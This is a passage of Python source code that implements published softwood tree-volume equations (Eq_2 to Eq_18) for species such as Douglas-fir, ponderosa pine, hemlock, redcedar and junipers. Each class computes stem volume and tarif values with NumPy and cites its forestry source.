cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.105292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_2(SoftwoodVolumeEquation):
"""Douglas-fir (DNR MEMO--SUMMERFIELD, 11/7/80)
Summerfield, Edward. 1980. In-house memo describing equations for
Douglas-fir and ponderosa pine. State of Washington, Department of Natural
Resources. On file with the PNW Research Station.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -6.110493 + 1.81306 * np.log(dbh) + 1.083884 * np.log(ht)
cvts = np.exp(cvtsl)
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.105292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_3(SoftwoodVolumeEquation):
"""Douglas-fir (USDA-FS RES NOTE PNW-266)
MacLean, Colin and John M. Berger. 1976. Softwood tree-volume equations
for major California species. PNW Research Note, PNW-266. Pacific Northwest
Forest and Range Experiment Station, Portland Oregon. 34p.
"""
def calc_cvts(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cv4 = self.calc_cv4(dbh, ht)
cvts = np.where(dbh < 6.0, tarif * term,
(cv4 * term) / (ba - 0.087266))
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
dbh_tmp = np.full(np.asanyarray(dbh).shape,
fill_value=6.0,
dtype=float)
ba_tmp = 0.005454154 * (dbh_tmp**2)
cf4 = 0.248569 + 0.0253524 * (ht / dbh) - 0.0000560175 * (ht**2 / dbh)
cf4 = np.clip(cf4, 0.3, 0.4)
cf4_tmp = 0.248569 + 0.0253524 * (ht / dbh_tmp) - 0.0000560175 * (
ht**2 / dbh_tmp)
cf4_tmp = np.clip(cf4_tmp, 0.3, 0.4)
cv4 = self.calc_cv4(dbh, ht)
cv4_tmp = self.calc_cv4(dbh_tmp, ht)
tarif_tmp = np.clip((cv4_tmp * 0.912733) / (ba_tmp - 0.087266), 0.01,
None)
tarif = np.where(
dbh < 6.0,
tarif_tmp * (0.5 * (dbh_tmp - dbh)**2 + (1.0 + 0.063
* (dbh_tmp - dbh)**2)),
(cv4 * 0.912733) / (ba - 0.087266))
tarif = np.clip(tarif, 0.01, None)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cf4 = 0.248569 + 0.0253524 * (ht / dbh) - 0.0000560175 * (ht**2 / dbh)
cf4 = np.clip(cf4, 0.3, 0.4)
cv4 = cf4 * ba * ht
cv4 = np.where(dbh < 5.0, 0, cv4)
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * term / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_4(SoftwoodVolumeEquation):
"""Ponderosa pine (DNR MEMO--SUMMERFIELD,11/7/80)
Summerfield, Edward. 1980. In-house memo describing equations for
Douglas-fir and ponderosa pine. State of Washington, Department of Natural
Resources. On file with the PNW Research Station.
"""
def calc_cvts(self, dbh, ht):
# ba = 0.005454154 * (dbh**2)
cvtsl = -8.521558 + 1.977243 * np.log(dbh) - 0.105288 * (
np.log(ht))**2 + 136.0489 / ht**2 + 1.99546 * np.log(ht)
cvts = np.exp(cvtsl)
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_5(SoftwoodVolumeEquation):
"""Ponderosa pine (USDA-FS RES NOTE PNW-266)
MacLean, Colin and John M. Berger. 1976. Softwood tree-volume equations for
major California species. PNW Research Note, PNW-266. Pacific Northwest
Forest and Range Experiment Station, Portland Oregon. 34p.
"""
def calc_cvts(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
cv4 = self.calc_cv4(dbh, ht)
tarif = self.calc_tarif(dbh, ht)
cvts = np.where(dbh >= 6.0, (cv4 * term) / (ba - 0.087266),
tarif * term)
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * term / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
dbh_tmp = np.full(np.asanyarray(dbh).shape,
fill_value=6.0,
dtype=float)
ba_tmp = 0.005454154 * (dbh_tmp**2)
cf4 = np.clip(0.402060 - 0.899914 * (1 / dbh), 0.3, 0.4)
cv4 = cf4 * ba * ht
cf4_tmp = np.clip(0.402060 - 0.899914 * (1 / dbh_tmp), 0.3, 0.4)
cv4_tmp = cf4_tmp * ba_tmp * ht
tarif_tmp = np.clip((cv4_tmp * 0.912733) / (ba_tmp - 0.087266), 0.01,
None)
tarif = np.where(
dbh < 6.0,
tarif_tmp * (0.5 * (dbh_tmp - dbh)**2 + (1.0 + 0.063
* (dbh_tmp - dbh)**2)),
(cv4 * 0.912733) / (ba - 0.087266))
tarif = np.clip(tarif, 0.01, None)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cf4 = np.clip(0.402060 - 0.899914 * (1 / dbh), 0.3, 0.4)
cv4 = np.where(dbh >= 5.0, cf4 * ba * ht, 0)
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
class Eq_6(SoftwoodVolumeEquation):
"""Western hemlock (DNR NOTE 27,4/79)
Chambers, C.J. and Foltz, B. 1979. The tarif system -- revisions and
additions., Resource Management Report #27. WA Dept. of Nat. Resources.
Olympia.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.72170 + 2.00857 * np.log10(dbh) + 1.08620 * np.log10(
ht) - 0.00568 * dbh
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_7(SoftwoodVolumeEquation):
"""Western hemlock (BROWN (1962) BC FOREST SERV,P33)
Browne, J.E. 1962. Standard cubic-foot volume tables for the commercial
tree species of British Columbia. B.C. Forest Service, Victoria. 107 p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.663834 + 1.79023 * np.log10(dbh) + 1.124873 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_8(SoftwoodVolumeEquation):
"""Western redcedar (REDCEDAR INTERIOR--DNR RPT#24,1977)
Brackett, M. 1973. Notes on tarif tree volume computation. Res. Management
Report 24. WA Dept. of Nat. Resources. Olympia. 26p.
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.464614 + 1.701993 * np.log10(dbh) + 1.067038 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_9(SoftwoodVolumeEquation):
"""Western redcedar (REDCEDAR COAST--DNR RPT#24,1977)
Brackett, M. 1973. Notes on tarif tree volume computation. Res. Management
Report 24. WA Dept. of Nat. Resources. Olympia. 26p.
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.379642 + 1.682300 * np.log10(dbh) + 1.039712 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_10(SoftwoodVolumeEquation):
"""True firs (INTERIOR baLSAM--DNR RPT#24,1977)
Brackett, M. 1973. Notes on tarif tree volume computation. Res. Management
Report 24. WA Dept. of Nat. Resources. Olympia. 26p.
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.502332 + 1.864963 * np.log10(dbh) + 1.004903 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_11(SoftwoodVolumeEquation):
"""True firs (COAST baLSAM--DNR RPT#24,1977)
Brackett, M. 1973. Notes on tarif tree volume computation. Res. Management
Report 24. WA Dept. of Nat. Resources. Olympia. 26p.
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.575642 + 1.806775 * np.log10(dbh) + 1.094665 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_12(SoftwoodVolumeEquation):
"""Sitka spruce (SITKA SPRUCE INTERIOR--DNR RPT#24,1977)
Brackett, M. 1973. Notes on tarif tree volume computation. Res. Management
Report 24. WA Dept. of Nat. Resources. Olympia. 26p.
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.539944 + 1.841226 * np.log10(dbh) + 1.034051 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_13(SoftwoodVolumeEquation):
""" Sitka spruce (SITKA SPRUCE MATURE--DNR RPT#24,1977)
Brackett, M. 1973. Notes on tarif tree volume computation. Res. Management
Report 24. WA Dept. of Nat. Resources. Olympia. 26p.
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR
report #24. State of Washington, Department of Natural Resources, Olympia,
WA. 132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.700574 + 1.754171 * np.log10(dbh) + 1.164531 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_14(SoftwoodVolumeEquation):
"""Other junipers (CHOJNACKY, 1985)
Chojnacky D.C., 1985. Pinyon-Juniper Volume Equations for the Central
Rocky Mountain States. Res. Note INT-339, USDA, Forest Service,
Intermountain Res. Station, Ogden, UT 84401.
"""
def calc_cvts(self, drc, ht, stems=np.array([1])):
factor = np.where((drc >= 3) & (ht > 0), drc * drc * ht, 0)
s = np.where(stems > 1, 0, 1)
cvts = np.clip(
(-0.13386 + (0.133726 * (factor**(1. / 3.))) + (0.036329 * s))**3,
0.1, None)
cvts[np.logical_or(drc <= 0, ht <= 0)] = 0
return cvts
class Eq_14_1(SoftwoodVolumeEquation):
"""Singleleaf pinyon (CHOJNACKY, 1985)
Chojnacky D.C., 1985. Pinyon-Juniper Volume Equations for the Central
Rocky Mountain States. Res. Note INT-339, USDA, Forest Service,
Intermountain Res. Station, Ogden, UT 84401.
"""
def calc_cvts(self, drc, ht, stems=np.array([1])):
factor = np.where((drc >= 3) & (ht > 0), drc * drc * ht, 0)
s = np.where(stems > 1, 0, 1)
cvts = np.clip(
(-0.14240 + (0.148190 * (factor**(1. / 3.))) - (0.16712 * s))**3,
0.1, None)
cvts[np.logical_or(drc <= 0, ht <= 0)] = 0
return cvts
class Eq_14_2(SoftwoodVolumeEquation):
"""Rocky Mountain juniper (CHOJNACKY, 1985)
Chojnacky D.C., 1985. Pinyon-Juniper Volume Equations for the Central
Rocky Mountain States. Res. Note INT-339, USDA, Forest Service,
Intermountain Res. Station, Ogden, UT 84401.
"""
def calc_cvts(self, drc, ht):
factor = np.where((drc >= 3) & (ht > 0), drc * drc * ht, 0)
cvts = np.clip((0.02434 + (0.119106 * (factor**(1. / 3.))))**3, 0.1,
None)
cvts[np.logical_or(drc <= 0, ht <= 0)] = 0
return cvts
class Eq_15(SoftwoodVolumeEquation):
"""Lodgepole pine (LODGEPOLE PINE--DNR RPT#24,1977)
Brackett, M. 1973. Notes on tarif tree volume computation. Res. Management
Report 24. WA Dept. of Nat. Resources. Olympia. 26p.
Brackett, Michael. 1977. Notes on tarif tree-volume computation. DNR report
#24. State of Washington, Department of Natural Resources, Olympia, WA.
132p.
"""
def calc_cvts(self, dbh, ht):
cvtsl = -2.615591 + 1.847504 * np.log10(dbh) + 1.085772 * np.log10(ht)
cvts = 10**cvtsl
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_16(SoftwoodVolumeEquation):
"""Lodgepole pine (USDA-FS RES NOTE PNW-266)
MacLean, Colin and John M. Berger. 1976. Softwood tree-volume equations
for major California species. PNW Research Note, PNW-266. Pacific Northwest
Forest and Range Experiment Station, Portland Oregon. 34p.
"""
def calc_cvts(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cv4 = self.calc_cv4(dbh, ht)
cvts = np.where(dbh < 6.0, tarif * term,
(cv4 * term) / (ba - 0.087266))
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
dbh_tmp = np.full(np.asanyarray(dbh).shape,
fill_value=6.0,
dtype=float)
ba_tmp = 0.005454154 * (dbh_tmp**2)
cf4 = 0.422709 - 0.0000612236 * (ht**2 / dbh)
cf4 = np.clip(cf4, 0.3, 0.4)
cf4_tmp = 0.422709 - 0.0000612236 * (ht**2 / dbh_tmp)
cf4_tmp = np.clip(cf4_tmp, 0.3, 0.4)
cv4 = self.calc_cv4(dbh, ht)
cv4_tmp = self.calc_cv4(dbh_tmp, ht)
tarif_tmp = np.clip((cv4_tmp * 0.912733) / (ba_tmp - 0.087266), 0.01,
None)
tarif = np.where(
dbh < 6.0,
tarif_tmp * (0.5 * (dbh_tmp - dbh)**2 + (1.0 + 0.063
* (dbh_tmp - dbh)**2)),
(cv4 * 0.912733) / (ba - 0.087266))
tarif = np.clip(tarif, 0.01, None)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cf4 = 0.422709 - 0.0000612236 * (ht**2 / dbh)
cf4 = np.clip(cf4, 0.3, 0.4)
cv4 = cf4 * ba * ht
cv4 = np.where(dbh < 5.0, 0, cv4)
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * term / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_17(SoftwoodVolumeEquation):
"""Mountain hemlock (BELL, OSU RES.BULL 35)
Bell, J.F., Marshall, D.D. and Johnson G.P. 1981. Tarif tables for mountain
hemlock: developed from an equation of total stem cubic-foot volume.
Research Bulletin #35. OSU Forest Research Lab, School of Forestry, Oregon
State University, Corvallis, OR.
"""
def calc_cvts(self, dbh, ht):
cvts = 0.001106485 * dbh**1.8140497 * ht**1.2744923
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
cvts = self.calc_cvts(dbh, ht)
tarif = (cvts * 0.912733) / (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * dbh)))
* (ba + 0.087266) - 0.174533)
tarif[np.logical_or(dbh <= 0, ht <= 0)] = 0
return tarif
def calc_cv4(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cv4 = tarif * (ba - 0.087266) / 0.912733
cv4[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cv4
def calc_cvt(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
tarif = self.calc_tarif(dbh, ht)
cvt = tarif * (0.9679 - 0.1051 * 0.5523**(dbh - 1.5)) * (
(1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533) / 0.912733
cvt[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvt
class Eq_18(SoftwoodVolumeEquation):
"""Shasta red fir (USDA-FS RES NOTE PNW-266)
MacLean, Colin and John M. Berger. 1976. Softwood tree-volume equations
for major California species. PNW Research Note, PNW-266. Pacific Northwest
Forest and Range Experiment Station, Portland Oregon. 34p.
"""
def calc_cvts(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
term = ((1.033 * (1.0 + 1.382937 * np.exp(-4.015292 * (dbh / 10.0))))
* (ba + 0.087266) - 0.174533)
tarif = self.calc_tarif(dbh, ht)
cv4 = self.calc_cv4(dbh, ht)
cvts = np.where(dbh < 6.0, tarif * term,
(cv4 * term) / (ba - 0.087266))
cvts[np.logical_or(dbh <= 0, ht <= 0)] = 0
return cvts
def calc_tarif(self, dbh, ht):
ba = 0.005454154 * (dbh**2)
dbh_tmp = np.full(np.asanyarray(dbh).shape,
fill_value=6.0,
dtype=float)
ba_tmp = 0.005454154 * (dbh_tmp**2)
# cf4 = np.clip(0.231237 + 0.028176 * (ht / dbh), 0.3, 0.4)
# cf4_tmp = np.clip(0.231237 + 0.028176 * (ht / dbh_tmp), 0.3, 0.4)
cv4 = self.calc_cv4(dbh, ht)
cv4_tmp = self.calc_cv4(dbh_tmp, ht)
